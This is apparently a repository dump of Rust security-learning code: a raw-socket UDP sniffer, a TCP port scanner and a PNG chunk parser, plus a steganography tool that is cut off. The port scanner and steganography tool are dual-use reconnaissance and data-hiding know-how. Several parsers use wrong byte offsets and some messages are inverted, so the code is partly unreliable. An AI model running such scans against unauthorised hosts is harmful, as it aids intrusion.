255 => String::from("Reserved"), 224 | _ => format!("{}", self.protocol_num), 225 | } 226 | } 227 | 228 | fn src_address(&self) -> String { 229 | Ipv4Addr::from(self.src).to_string() 230 | } 231 | 232 | fn dst_address(&self) -> String { 233 | Ipv4Addr::from(self.dst).to_string() 234 | } 235 | 236 | fn offset(&self) -> String { 237 | self.offset.to_string() 238 | } 239 | 240 | fn ttl(&self) -> String { 241 | self.ttl.to_string() 242 | } 243 | 244 | fn ver(&self) -> String { 245 | self.ver_ihl.to_string() 246 | } 247 | 248 | fn len(&self) -> String { 249 | self.len.to_string() 250 | } 251 | } 252 | 253 | fn sniff(address: SocketAddr) { 254 | let socket_protocol = if cfg!(target_os = "windows") { 255 | 0 256 | } else { 257 | 17 // UDP 258 | }; 259 | 260 | let sniffer = socket2::Socket::new( 261 | socket2::Domain::IPV4, 262 | socket2::Type::RAW, 263 | Some(socket2::Protocol::from(socket_protocol)), 264 | ) 265 | .unwrap(); 266 | 267 | sniffer.bind(&address.into()).unwrap(); 268 | 269 | let mut buffer: [MaybeUninit; 65535] = unsafe { MaybeUninit::uninit().assume_init() }; 270 | loop { 271 | let _length = sniffer.recv_from(&mut buffer).unwrap(); 272 | let raw_buffer: &[u8] = 273 | unsafe { std::slice::from_raw_parts(buffer.as_ptr() as *const u8, buffer.len()) }; 274 | 275 | if raw_buffer.len() < IPV4_HEADER_SIZE + UDP_HEADER_SIZE { 276 | eprintln!("Invalid packet: too short"); 277 | continue; 278 | } 279 | // Create an IP header from the first 20 bytes 280 | let ip_header = match IP::new(&raw_buffer[..IPV4_HEADER_SIZE]) { 281 | Some(header) => header, 282 | None => continue, 283 | }; 284 | 285 | println!( 286 | "\nProtocol: {} {} -> {}", 287 | "UDP", 288 | ip_header.src_address(), 289 | ip_header.dst_address() 290 | ); 291 | 292 | println!("Version: {}", ip_header.ver()); 293 | 294 | println!( 295 | "Header Length: {} TTL: {}", 296 | ip_header.len(), 297 | ip_header.ttl() 298 | ); 299 | 300 | let udp_header = 301 | UDP::new(&raw_buffer[IPV4_HEADER_SIZE..IPV4_HEADER_SIZE + UDP_HEADER_SIZE + 1]); 302 | // Print or process UDP header information 303 | println!("Source Port: {}", udp_header.source_port); 304 | println!("Destination Port: {}", udp_header.destination_port); 305 | println!("Length: {}", udp_header.length); 306 | println!("Checksum: {}", udp_header.checksum); 307 | } 308 | } 309 | 310 | fn main() { 311 | let socket = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(0, 0, 0, 0)), 12345); 312 | 313 | sniff(socket); 314 | } 315 | -------------------------------------------------------------------------------- /chapter-1/syn-flood-port-scanning/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "syn-flood-port-scanning" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | socket2 = {version = "0.5.5", features = ["all"]} 10 | -------------------------------------------------------------------------------- /chapter-1/syn-flood-port-scanning/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashMap; 2 | use std::io; 3 | use std::mem::MaybeUninit; 4 | use std::net::{IpAddr, Ipv4Addr}; 5 | use std::net::{SocketAddr, TcpStream}; 6 | use std::sync::Arc; 7 | use std::sync::Mutex; 8 | use std::thread; 9 | use std::time::Duration; 10 | 11 | use socket2::{Domain, Protocol, Socket, Type}; 12 | 13 | // TODO 14 | const _SNAPLEN: i32 = 320; 15 | const _PROMISC: bool = true; 16 | const TIMEOUT: Duration = Duration::from_secs(3); 17 | 18 | // TCP Flags 19 | const _CWR: u16 = 0b10000000; 20 | const _ECE: u16 = 0b01000000; 21 | const _URG: u16 = 0b00100000; 22 | const ACK: u16 = 0b00010000; 23 | const PSH: u16 = 0b00001000; 24 | const _RST: u16 = 0b00000100; 25 | const _SYN: u16 = 0b00000010; 26 | const FIN: u16 = 0b00000001; 27 | 28 | // Constants for TCP and IP headers size 29 | const TCP_HEADER_SIZE: usize = 20; 30 | const IPV4_HEADER_SIZE: usize = 20; 31 | #[allow(dead_code)] 32 | struct TCP { 33 | source_port: u16, 34 | destination_port: u16, 35 | sequence_number: u32, 36 | acknowledgment_number: u32, 37 | data_offset: u8, 38 | reserved: u8, 39 | flags: u16, 40 | window_size: u16, 41 | checksum: u16, 42 | urgent_pointer: u16, 43 | } 44 | 45 | impl TCP { 46 | fn new(buffer: &[u8]) -> Self { 47 | // Parse the TCP header fields from the buffer 48 | let source_port = u16::from_be_bytes([buffer[0], buffer[1]]); 49 | let destination_port = u16::from_be_bytes([buffer[2], buffer[3]]); 50 | let sequence_number = u32::from_be_bytes([buffer[4], buffer[5], buffer[6], buffer[7]]); 51 | let acknowledgment_number = 52 | u32::from_be_bytes([buffer[8], buffer[9], buffer[10], buffer[11]]); 53 | let data_offset = (buffer[12] >> 4) * 4; // The top 4 bits represent the data offset 54 | let reserved = buffer[12] & 0b00001111; 55 | let flags = u16::from_be_bytes([buffer[13], buffer[14]]); 56 | let window_size = u16::from_be_bytes([buffer[15], buffer[16]]); 57 | let checksum = u16::from_be_bytes([buffer[17], buffer[18]]); 58 | let urgent_pointer = u16::from_be_bytes([buffer[19], buffer[20]]); 59 | 60 | TCP { 61 | source_port, 62 | destination_port, 63 | sequence_number, 64 | acknowledgment_number, 65 | data_offset, 66 | reserved, 67 | flags, 68 | window_size, 69 | checksum, 70 | urgent_pointer, 71 | } 72 | } 73 | } 74 | 75 | #[allow(dead_code)] 76 | struct IP { 77 | ver_ihl: u8, 78 | tos: u8, 79 | len: u16, 80 | id: u16, 81 | offset: u16, 82 | ttl: u8, 83 | protocol_num: u8, 84 | sum: u16, 85 | src: u32, 86 | dst: u32, 87 | } 88 | 89 | #[allow(dead_code)] 90 | impl IP { 91 | fn new(buff: &[u8]) -> Option { 92 | if buff.len() >= 20 { 93 | let header = IP { 94 | ver_ihl: buff[0], 95 | tos: buff[1], 96 | len: u16::from_be_bytes([buff[2], buff[3]]), 97 | id: u16::from_be_bytes([buff[4], buff[5]]), 98 | offset: u16::from_be_bytes([buff[6], buff[7]]), 99 | ttl: buff[8], 100 | protocol_num: buff[9], 101 | sum: u16::from_be_bytes([buff[10], buff[11]]), 102 | src: u32::from_be_bytes([buff[12], buff[13], buff[14], buff[15]]), 103 | dst: u32::from_be_bytes([buff[16], buff[17], buff[18], buff[19]]), 104 | }; 105 | 106 | Some(header) 107 | } else { 108 | None 109 | } 110 | } 111 | 112 | fn protocol(&self) -> String { 113 | // Refer to ---> https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml 114 | match self.protocol_num { 115 | 0 => String::from("HOPOPT"), 116 | 1 => String::from("ICMP"), 117 | 2 => String::from("IGMP"), 118 | 3 => String::from("GGP"), 119 | 4 => String::from("IPv4"), 120 | 5 => String::from("ST"), 121 | 6 => String::from("TCP"), 122 | 7 => String::from("CBT"), 123 | 8 => String::from("EGP"), 124 | 9 => String::from("IGP"), 125 | 10 => String::from("BBN-RCC-MON"), 126 | 11 => String::from("NVP-II"), 127 | 12 => String::from("PUP"), 128 | 13 => String::from("ARGUS"), 129 | 14 => String::from("EMCON"), 130 | 15 => String::from("XNET"), 131 | 16 => String::from("CHAOS"), 132 | 17 => String::from("UDP"), 133 | 18 => String::from("MUX"), 134 | 19 => String::from("DCN-MEAS"), 135 | 20 => String::from("HMP"), 136 | 21 => String::from("PRM"), 137 | 22 => String::from("XNS-IDP"), 138 | 23 => String::from("TRUNK-1"), 139 | 24 => String::from("TRUNK-2"), 140 | 25 => String::from("LEAF-1"), 141 | 26 => String::from("LEAF-2"), 142 | 27 => String::from("RDP"), 143 | 28 => String::from("IRTP"), 144 | 29 => String::from("ISO-TP4"), 145 | 30 => String::from("NETBLT"), 146 | 31 => String::from("MFE-NSP"), 147 | 32 => String::from("MERIT-INP"), 148 | 33 => String::from("DCCP"), 149 | 34 => String::from("3PC"), 150 | 35 => String::from("IDPR"), 151 | 36 => String::from("XTP"), 152 | 37 => String::from("DDP"), 153 | 38 => String::from("IDPR-CMTP"), 154 | 39 => String::from("TP++"), 155 | 40 => String::from("IL"), 156 | 41 => String::from("IPv6"), 157 | 42 => String::from("SDRP"), 158 | 43 => String::from("IPv6-Route"), 159 | 44 => String::from("IPv6-Frag"), 160 | 45 => String::from("IDRP"), 161 | 46 => String::from("RSVP"), 162 | 47 => String::from("GRE"), 163 | 48 => String::from("DSR"), 164 | 49 => String::from("BNA"), 165 | 50 => String::from("ESP"), 166 | 51 => String::from("AH"), 167 | 52 => String::from("I-NLSP"), 168 | 53 => String::from("SWIPE (deprecated)"), 169 | 54 => String::from("NARP"), 170 | 55 => String::from("MOBILE"), 171 | 56 => String::from("TLSP"), 172 | 57 => String::from("SKIP"), 173 | 58 => String::from("IPv6-ICMP"), 174 | 59 => String::from("IPv6-NoNxt"), 175 | 60 => String::from("IPv6-Opts"), 176 | 61 => String::from("any host internal protocol"), 177 | 62 => String::from("CFTP"), 178 | 63 => String::from("any local network"), 179 | 64 => String::from("SAT-EXPAK"), 180 | 65 => String::from("KRYPTOLAN"), 181 | 66 => String::from("RVD"), 182 | 67 => String::from("IPPC"), 183 | 68 => String::from("any distributed file system"), 184 | 69 => String::from("SAT-MON"), 185 | 70 => String::from("VISA"), 186 | 71 => String::from("IPCV"), 187 | 72 => String::from("CPNX"), 188 | 73 => String::from("CPHB"), 189 | 74 => String::from("WSN"), 190 | 75 => String::from("PVP"), 191 | 76 => String::from("BR-SAT-MON"), 192 | 77 => String::from("SUN-ND"), 193 | 78 => String::from("WB-MON"), 194 | 79 => String::from("WB-EXPAK"), 195 | 80 => String::from("ISO-IP"), 196 | 81 => String::from("VMTP"), 197 | 82 => String::from("SECURE-VMTP"), 198 | 83 => String::from("VINES"), 199 | 84 => String::from("IPTM"), 200 | 85 => String::from("NSFNET-IGP"), 201 | 86 => String::from("DGP"), 202 | 87 => String::from("TCF"), 203 | 88 => String::from("EIGRP"), 204 | 89 => String::from("OSPFIGP"), 205 | 90 => String::from("Sprite-RPC"), 206 | 91 => String::from("LARP"), 207 | 92 => String::from("MTP"), 208 | 93 => String::from("AX.25"), 209 | 94 => String::from("IPIP"), 210 | 95 => String::from("MICP (deprecated)"), 211 | 96 => String::from("SCC-SP"), 212 | 97 => String::from("ETHERIP"), 213 | 98 => String::from("ENCAP"), 214 | 100 => String::from("GMTP"), 215 | 101 => String::from("IFMP"), 216 | 102 => String::from("PNNI"), 217 | 103 => String::from("PIM"), 218 | 104 => String::from("ARIS"), 219 | 105 => String::from("SCPS"), 220 | 106 => String::from("QNX"), 221 | 107 => String::from("A/N"), 222 | 108 => String::from("IPComp"), 223 | 109 => String::from("SNP"), 224 | 110 => String::from("Compaq-Peer"), 225 | 111 => String::from("IPX-in-IP"), 226 | 112 => String::from("VRRP"), 227 | 113 => String::from("PGM"), 228 | 114 => String::from("any 0-hop protocol"), 229 | 115 => String::from("L2TP"), 230 | 116 => String::from("DDX"), 231 | 117 => String::from("IATP"), 232 | 118 => String::from("STP"), 233 | 119 => String::from("SRP"), 234 | 120 => String::from("UTI"), 235 | 121 => String::from("SMP"), 236 | 122 => String::from("SM (deprecated)"), 237 | 123 => String::from("PTP"), 238 | 124 => String::from("ISIS over IPv4"), 239 | 125 => String::from("FIRE"), 240 | 126 => String::from("CRTP"), 241 | 127 => String::from("CRUDP"), 242 | 128 => String::from("SSCOPMCE"), 243 | 129 => String::from("IPLT"), 244 | 130 => String::from("SPS"), 245 | 131 => String::from("PIPE"), 246 | 132 => String::from("SCTP"), 247 | 133 => String::from("FC"), 248 | 134 => String::from("RSVP-E2E-IGNORE"), 249 | 135 => String::from("Mobility Header"), 250 | 136 => String::from("UDPLite"), 251 | 137 => String::from("MPLS-in-IP"), 252 | 138 => String::from("manet"), 253 | 139 => String::from("HIP"), 254 | 140 => String::from("Shim6"), 255 | 141 => String::from("WESP"), 256 | 142 => String::from("ROHC"), 257 | 143 => String::from("Ethernet"), 258 | 144 => String::from("AGGFRAG"), 259 | 145 => String::from("NSH"), 260 | 146..=252 => String::from("Unassigned"), 261 | 253 => String::from("Use for experimentation and testing"), 262 | 254 => String::from("Use for experimentation and testing"), 263 | 255 => String::from("Reserved"), 264 | _ => format!("{}", self.protocol_num), 265 | } 266 | } 267 | 268 | fn src_address(&self) -> String { 269 | Ipv4Addr::from(self.src).to_string() 270 | } 271 | 272 | fn dst_address(&self) -> String { 273 | Ipv4Addr::from(self.dst).to_string() 274 | } 275 | 276 | fn offset(&self) -> String { 277 | self.offset.to_string() 278 | } 279 | 280 | fn ttl(&self) -> String { 281 | self.ttl.to_string() 282 | } 283 | 284 | fn ver(&self) -> String { 285 | self.ver_ihl.to_string() 286 | } 287 | 288 | fn len(&self) -> String { 289 | self.len.to_string() 290 | } 291 | } 292 | 293 | fn sniff( 294 | socket: SocketAddr, 295 | _iface: &str, 296 | target: &str, 297 | results: Arc>>, 298 | ) -> io::Result<()> { 299 | let socket_protocol = if cfg!(target_os = "windows") { 300 | 0 301 | } else { 302 | 6 // TCP 303 | }; 304 | let sniffer = Socket::new( 305 | Domain::IPV4, 306 | Type::RAW, 307 | Some(Protocol::from(socket_protocol)), 308 | )?; 309 | sniffer.bind(&socket.into())?; 310 | 311 | // TODO: set interface 312 | // Available only on MacOS: https://docs.rs/socket2/latest/socket2/struct.Socket.html#method.device_index_v4 313 | // let iface_index = sniffer.device_index_v4(&iface)?; 314 | // socket.bind_device_by_index_v4(Some(&iface_index))?; 315 | 316 | let mut buffer: [MaybeUninit; 65535] = unsafe { MaybeUninit::uninit().assume_init() }; 317 | 318 | println!("Capturing packets"); 319 | loop { 320 | // Receive a TCP packet 321 | let _length = sniffer.recv_from(&mut buffer).unwrap(); 322 | let raw_buffer: &[u8] = 323 | unsafe { std::slice::from_raw_parts(buffer.as_ptr() as *const u8, buffer.len()) }; 324 | 325 | // Create an IP header from the first 20 bytes 326 | let ip_header = match IP::new(&raw_buffer[..20]) { 327 | Some(header) => header, 328 | None => return Ok(()), 329 | }; 330 | if ip_header.dst_address() != target { 331 | continue; 332 | } 333 | 334 | if raw_buffer.len() < IPV4_HEADER_SIZE + TCP_HEADER_SIZE { 335 | eprintln!("Invalid packet: too short"); 336 | continue; 337 | } 338 | 339 | let tcp_header = 340 | TCP::new(&raw_buffer[IPV4_HEADER_SIZE..IPV4_HEADER_SIZE + TCP_HEADER_SIZE + 1]); 341 | 342 | // Check if the flags match the specified combinations 343 | let ack = (tcp_header.flags & ACK) != 0; 344 | let fin = (tcp_header.flags & FIN) != 0; 345 | let psh = (tcp_header.flags & PSH) != 0; 346 | 347 | if !(ack && fin || ack || ack && psh) { 348 | continue; 349 | } 350 | 351 | // Add the source port 352 | let mut results = results.lock().unwrap(); 353 | results 354 | .entry(tcp_header.destination_port.to_string()) 355 | .and_modify(|e| *e += 1) 356 | .or_insert(1); 357 | } 358 | } 359 | 360 | fn main() -> io::Result<()> { 361 | let args: Vec = std::env::args().collect(); 362 | if args.len() != 3 { 363 | eprintln!("Usage: {} ", args[0]); 364 | std::process::exit(1); 365 | } 366 | 367 | let target = match args.get(1) { 368 | Some(target) => target, 369 | None => "eth0", 370 | }; 371 | 372 | let ports: Vec<&str> = match args.get(2) { 373 | Some(ports) => ports.split(',').collect(), 374 | None => vec!["eth0"], 375 | }; 376 | 377 | let iface = match args.get(3) { 378 | Some(iface) => iface, 379 | None => "eth0", 380 | }; 381 | 382 | let results = Arc::new(Mutex::new(HashMap::new())); 383 | 384 | let socket = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(0, 0, 0, 0)), 12345); 385 | 386 | let sniff_thread = thread::spawn({ 387 | let iface = iface.to_string(); 388 | let target = target.to_string(); 389 | let results = results.clone(); 390 | move || { 391 | if let Err(err) = sniff(socket, &iface, &target, results) { 392 | eprintln!("Error capturing packets: {}", err); 393 | } 394 | } 395 | }); 396 | 397 | thread::sleep(Duration::from_secs(1)); 398 | 399 | for port in ports { 400 | let target_addr = format!("{}:{}", target, port); 401 | println!("Trying {}", target_addr); 402 | // Opens a TCP connection to a remote host with a timeout. 403 | if let Ok(stream) = 404 | TcpStream::connect_timeout(&target_addr.parse::().unwrap(), TIMEOUT) 405 | { 406 | println!("Couldn't connect to the remote host..."); 407 | drop(stream); 408 | } 409 | } 410 | 411 | thread::sleep(Duration::from_secs(2)); 412 | 413 | let results = results.lock().unwrap(); 414 | for (port, confidence) in results.iter() { 415 | if *confidence >= 1 { 416 | println!("Port {} open (confidence: {})", port, confidence); 417 | } 418 | } 419 | 420 | if results.len() == 0 { 421 | println!("All scanned ports on {} are closed", target); 422 | } 423 | sniff_thread.join().unwrap(); 424 | Ok(()) 425 | } 426 | -------------------------------------------------------------------------------- /chapter-2/chapter-2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-2/chapter-2.pdf -------------------------------------------------------------------------------- /chapter-2/parse-png/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "stegano" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /chapter-2/parse-png/prj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-2/parse-png/prj.png -------------------------------------------------------------------------------- /chapter-2/parse-png/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::fs::File; 2 | use std::io::ErrorKind; 3 | use std::io::{Read, Seek, SeekFrom}; 4 | use std::mem; 5 | use std::str; 6 | 7 | #[derive(Debug)] 8 | struct Header { 9 | header: u64, 10 | } 11 | 12 | #[derive(Debug)] 13 | struct Chunk { 14 | size: u32, 15 | r#type: u32, 16 | data: Vec, 17 | crc: u32, 18 | } 19 | 20 | struct MetaChunk { 21 | header: Header, 22 | chk: Chunk, 23 | offset: u64, 24 | } 25 | 26 | fn u64_to_u8_array(value: u64) -> [u8; 8] { 27 | let bytes = value.to_ne_bytes(); 28 | let mut result = [0; 8]; 29 | 30 | unsafe { 31 | // Transmute the byte array into an array of unsigned 8-bit integers 32 | result = mem::transmute_copy(&bytes); 33 | } 34 | 35 | result 36 | } 37 | 38 | impl MetaChunk { 39 | fn pre_process_image(file: &mut File) -> Result { 40 | let mut header = Header { header: 0 }; 41 | file.read_exact(unsafe { mem::transmute::<_, &mut [u8; 8]>(&mut header.header) })?; 42 | 43 | let b_arr = u64_to_u8_array(header.header); 44 | if &b_arr[1..4] != b"PNG" { 45 | panic!("Not a valid PNG format"); 46 | } else { 47 | println!("It is a valid PNG file. Let's process it!"); 48 | } 49 | 50 | let offset = file.seek(SeekFrom::Current(0))?; 51 | Ok(MetaChunk { 52 | header, 53 | chk: Chunk { 54 | size: 0, 55 | r#type: 0, 56 | data: Vec::new(), 57 | crc: 0, 58 | }, 59 | offset, 60 | }) 61 | } 62 | 63 | fn process_image(&mut self, file: &mut File) { 64 | let mut count = 1; 65 | let mut chunk_type = String::new(); 66 | let end_chunk_type = "IEND"; 67 | 68 | while chunk_type != end_chunk_type { 69 | println!("---- Chunk # {} ----", count); 70 | let offset = self.get_offset(file); 71 | println!("Chunk Offset: {:x}", offset); 72 | self.read_chunk(file); 73 | chunk_type = self.chunk_type_to_string(); 74 | count += 1; 75 | } 76 | } 77 | 78 | fn get_offset(&mut self, file: &mut File) -> u64 { 79 | let offset = file.seek(SeekFrom::Current(0)).unwrap(); 80 | self.offset = offset; 81 | offset 82 | } 83 | 84 | fn read_chunk(&mut self, file: &mut File) { 85 | self.read_chunk_size(file); 86 | self.read_chunk_type(file); 87 | self.read_chunk_bytes(file, self.chk.size); 88 | self.read_chunk_crc(file); 89 | } 90 | 91 | fn read_chunk_size(&mut self, file: &mut File) { 92 | let mut size_bytes = [0; 4]; 93 | 94 | match file.read_exact(&mut size_bytes) { 95 | Ok(_) => { 96 | // Successfully read the expected number of bytes 97 | self.chk.size = u32::from_be_bytes(size_bytes); 98 | } 99 | Err(err) if err.kind() == ErrorKind::UnexpectedEof => { 100 | // Handle the situation where the file ends before reading the expected bytes 101 | eprintln!("Warning: Reached end of file prematurely while reading chunk size"); 102 | } 103 | Err(err) => { 104 | eprintln!("Error reading chunk size bytes: {}", err); 105 | } 106 | } 107 | } 108 | 109 | fn read_chunk_type(&mut self, file: &mut File) { 110 | let mut type_bytes = [0; 4]; 111 | 112 | match file.read_exact(&mut type_bytes) { 113 | Ok(_) => { 114 | // Successfully read the expected number of bytes 115 | self.chk.r#type = u32::from_be_bytes(type_bytes); 116 | } 117 | Err(err) if err.kind() == ErrorKind::UnexpectedEof => { 118 | // Handle the situation where the file ends before reading the expected bytes 119 | eprintln!("Warning: Reached end of file prematurely while reading chunk type"); 120 | } 121 | Err(err) => { 122 | eprintln!("Error reading chunk type bytes: {}", err); 123 | } 124 | } 125 | } 126 | 127 | fn read_chunk_bytes(&mut self, file: &mut File, len: u32) { 128 | self.chk.data = vec![0; len as usize]; 129 | 130 | match file.read_exact(&mut self.chk.data) { 131 | Ok(_) => { 132 | // Successfully read the expected number of bytes 133 | } 134 | Err(err) if err.kind() == ErrorKind::UnexpectedEof => { 135 | eprintln!("Error reading chunk bytes: Reached end of file prematurely"); 136 | // Update the length of the Chunk based on the actual number of bytes read 137 | self.chk 138 | .data 139 | .truncate(file.seek(SeekFrom::Current(0)).unwrap() as usize); 140 | } 141 | Err(err) => { 142 | eprintln!("Error reading chunk bytes: {}", err); 143 | } 144 | } 145 | } 146 | 147 | fn read_chunk_crc(&mut self, file: &mut File) { 148 | let mut crc_bytes = [0; 4]; 149 | 150 | match file.read_exact(&mut crc_bytes) { 151 | Ok(_) => { 152 | // Successfully read the expected number of bytes 153 | self.chk.crc = u32::from_be_bytes(crc_bytes); 154 | } 155 | Err(err) if err.kind() == ErrorKind::UnexpectedEof => { 156 | // Handle the situation where the file ends before reading the expected bytes 157 | eprintln!("Warning: Reached end of file prematurely while reading CRC"); 158 | } 159 | Err(err) => { 160 | eprintln!("Error reading CRC bytes: {}", err); 161 | } 162 | } 163 | } 164 | 165 | fn chunk_type_to_string(&self) -> String { 166 | String::from_utf8_lossy(&self.chk.r#type.to_be_bytes()).to_string() 167 | } 168 | } 169 | 170 | fn main() { 171 | let mut file = File::open("prj.png").expect("Error opening file"); 172 | 173 | let mut meta_chunk = MetaChunk::pre_process_image(&mut file).expect("Error processing image"); 174 | 175 | meta_chunk.process_image(&mut file); 176 | } 177 | -------------------------------------------------------------------------------- /chapter-2/stegano/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "stegano" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | crc32-v2 = "0.0.2" 8 | -------------------------------------------------------------------------------- /chapter-2/stegano/decoded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-2/stegano/decoded.png -------------------------------------------------------------------------------- /chapter-2/stegano/output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-2/stegano/output.png -------------------------------------------------------------------------------- /chapter-2/stegano/prj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-2/stegano/prj.png -------------------------------------------------------------------------------- /chapter-2/stegano/src/main.rs: -------------------------------------------------------------------------------- 1 | #![allow(unused)] 2 | 3 | use crc32_v2::byfour::crc32_little; 4 | use std::env; 5 | use std::fs::File; 6 | use std::io::{copy, Error, ErrorKind, Read, Seek, SeekFrom, Write}; 7 | use std::mem; 8 | use std::str; 9 | use std::str::FromStr; 10 | 11 | const CRC32_INIT: u32 = 0; 12 | 13 | #[derive(Debug, Clone)] 14 | struct Header { 15 | header: u64, 16 | } 17 | 18 | #[derive(Debug, Clone)] 19 | struct Chunk { 20 | size: u32, 21 | r#type: u32, 22 | data: Vec, 23 | crc: u32, 24 | } 25 | 26 | #[derive(Debug, Clone)] 27 | struct MetaChunk { 28 | header: Header, 29 | chk: Chunk, 30 | offset: u64, 31 | } 32 | 33 | fn u64_to_u8_array(value: u64) -> [u8; 8] { 34 | let bytes = value.to_ne_bytes(); 35 | let mut result = [0; 8]; 36 | 37 | unsafe { 38 | // Transmute the byte array into an array of unsigned 8-bit integers 39 | result = mem::transmute_copy(&bytes); 40 | } 41 | 42 | result 43 | } 44 | 45 | impl MetaChunk { 46 | fn pre_process_image(file: &mut File) -> Result { 47 | let mut header = Header { header: 0 }; 48 | file.read_exact(unsafe { mem::transmute::<_, &mut [u8; 8]>(&mut header.header) })?; 49 | 50 | let b_arr = u64_to_u8_array(header.header); 51 | if &b_arr[1..4] != b"PNG" { 52 | panic!("Not a valid PNG format"); 53 | } else { 54 | println!("It is a valid PNG file. Let's process it!"); 55 | } 56 | 57 | let offset = file.stream_position()?; 58 | Ok(MetaChunk { 59 | header, 60 | chk: Chunk { 61 | size: 0, 62 | r#type: 0, 63 | data: Vec::new(), 64 | crc: 0, 65 | }, 66 | offset, 67 | }) 68 | } 69 | 70 | fn process_image(&mut self, file: &mut File) { 71 | let mut count = 1; 72 | let mut chunk_type = String::new(); 73 | let end_chunk_type = "IEND"; 74 | 75 | while chunk_type != end_chunk_type { 76 | println!("---- Chunk # {} ----", count); 77 | let offset = self.get_offset(file); 78 | println!("Chunk offset: {:x}", offset); 79 | self.read_chunk(file); 80 | chunk_type = self.chunk_type_to_string(); 81 | count += 1; 82 | } 83 | } 84 | 85 | fn get_offset(&mut self, file: &mut T) -> u64 { 86 | let offset = file.seek(SeekFrom::Current(5)).unwrap(); 87 | self.offset = offset; 88 | offset 89 | } 90 | 91 | fn read_chunk(&mut self, file: &mut T) { 92 | self.read_chunk_size(file); 93 | self.read_chunk_type(file); 94 | self.read_chunk_bytes(file, self.chk.size); 95 | self.read_chunk_crc(file); 96 | } 97 | 98 | fn read_chunk_size(&mut self, file: &mut R) { 99 | let mut size_bytes = [0; 4]; 100 | 101 | match file.read_exact(&mut size_bytes) { 102 | Ok(_) => { 103 | // Successfully read the expected number of bytes 104 | // self.chk.size = u32::from_be_bytes(size_bytes); 105 | // let max_number = *size_bytes.iter().max_by(|a, b| a.cmp(b)).unwrap(); 106 | // self.chk.size = max_number as u32; 107 | self.chk.size = size_bytes[3] as u32; 108 | } 109 | Err(err) if err.kind() == ErrorKind::UnexpectedEof => { 110 | // Handle the situation where the file ends before reading the expected bytes 111 | eprintln!("Warning: Reached end of file prematurely while reading chunk size"); 112 | } 113 | Err(err) => { 114 | eprintln!("Error reading chunk size bytes: {}", err); 115 | } 116 | } 117 | } 118 | 119 | fn read_chunk_type(&mut self, file: &mut R) { 120 | let mut type_bytes = [0; 4]; 121 | 122 | match file.read_exact(&mut type_bytes) { 123 | Ok(_) => { 124 | // Successfully read the expected number of bytes 125 | self.chk.r#type = u32::from_be_bytes(type_bytes); 126 | } 127 | Err(err) if err.kind() == ErrorKind::UnexpectedEof => { 128 | // Handle the situation where the file ends before reading the expected bytes 129 | eprintln!("Warning: Reached end of file prematurely while reading chunk type"); 130 | } 131 | Err(err) => { 132 | eprintln!("Error reading chunk type bytes: {}", err); 133 | } 134 | } 135 | } 136 | 137 | fn read_chunk_bytes(&mut self, file: &mut T, len: u32) { 138 | self.chk.data = vec![0; len as usize]; 139 | 140 | match file.read_exact(&mut self.chk.data) { 141 | Ok(_) => { 142 | // Successfully read the expected number of bytes 143 | } 144 | Err(err) if err.kind() == ErrorKind::UnexpectedEof => { 145 | eprintln!("Error reading chunk bytes: Reached end of file prematurely"); 146 | // Update the length of the Chunk based on the actual number of bytes read 147 | self.chk 148 | .data 149 | .truncate(file.stream_position().unwrap() as usize); 150 | } 151 | Err(err) => { 152 | eprintln!("Error reading chunk bytes: {}", err); 153 | } 154 | } 155 | } 156 | 157 | fn read_chunk_crc(&mut self, file: &mut R) { 158 | let mut crc_bytes = [0; 4]; 159 | 160 | match file.read_exact(&mut crc_bytes) { 161 | Ok(_) => { 162 | // Successfully read the expected number of bytes 163 | self.chk.crc = u32::from_be_bytes(crc_bytes); 164 | } 165 | Err(err) if err.kind() == ErrorKind::UnexpectedEof => { 166 | // Handle the situation where the file ends before reading the expected bytes 167 | eprintln!("Warning: Reached end of file prematurely while reading CRC"); 168 | } 169 | Err(err) => { 170 | eprintln!("Error reading CRC bytes: {}", err); 171 | } 172 | } 173 | } 174 | 175 | fn chunk_type_to_string(&self) -> String { 176 | String::from_utf8_lossy(&self.chk.r#type.to_be_bytes()).to_string() 177 | } 178 | 179 | fn marshal_data(&self) -> Vec { 180 | let mut bytes_msb = Vec::new(); 181 | bytes_msb.push(self.chk.data.len() as u8); 182 | bytes_msb.write_all(&self.chk.r#type.to_be_bytes()).unwrap(); 183 | bytes_msb.write_all(&self.chk.data).unwrap(); 184 | bytes_msb.write_all(&self.chk.crc.to_be_bytes()).unwrap(); 185 | println!("Encoded Payload: {:?}", bytes_msb); 186 | bytes_msb 187 | } 188 | 189 | fn write_data(&mut self, r: &mut R, c: &CmdArgs, mut w: W) { 190 | // Common encoding and decoding process 191 | let b_arr = u64_to_u8_array(self.header.header); 192 | w.write_all(&b_arr).unwrap(); 193 | let offset = i64::from_str(&c.offset).unwrap(); 194 | let mut buff = vec![0; (offset - 8) as usize]; 195 | 196 | if c.encode { 197 | // Encoding specific operations 198 | buff.resize((offset - 8) as usize, 0); 199 | r.read_exact(&mut buff).unwrap(); 200 | w.write_all(&buff).unwrap(); 201 | let data: Vec 